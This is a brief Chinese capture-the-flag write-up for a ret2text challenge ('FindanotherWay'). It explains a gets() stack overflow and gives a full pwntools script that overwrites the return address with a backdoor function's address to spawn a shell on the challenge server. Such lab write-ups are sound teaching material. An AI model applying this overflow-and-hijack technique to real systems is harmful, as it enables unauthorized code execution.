简单的ret2text

Problem: [SWPUCTF 2022 新生赛]FindanotherWay

思路

有后门函数0x401230
输入函数vuln 调用gets(s) 栈溢出
栈12 + 8 覆盖rbp 然后p64后门函数就行
注意的是直接用后门函数栈不对齐 故跳过保存rbp 用0x401235 可以getshell

EXP

  from pwn import *
context.log_level = 'debug'
elf = ELF("./FindanotherWay")
#libc = ELF('/home/rick/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')
p = remote("node5.anna.nssctf.cn",25105)
#p = process("./FindanotherWay")
p.recvuntil(b"Maybe another way?\n")
payload = b'a'*12 +b'a' *0x8 + p64(0x401235)
p.send(payload)
#attach(p)
p.interactive()

总结

  • 对该题的考点总结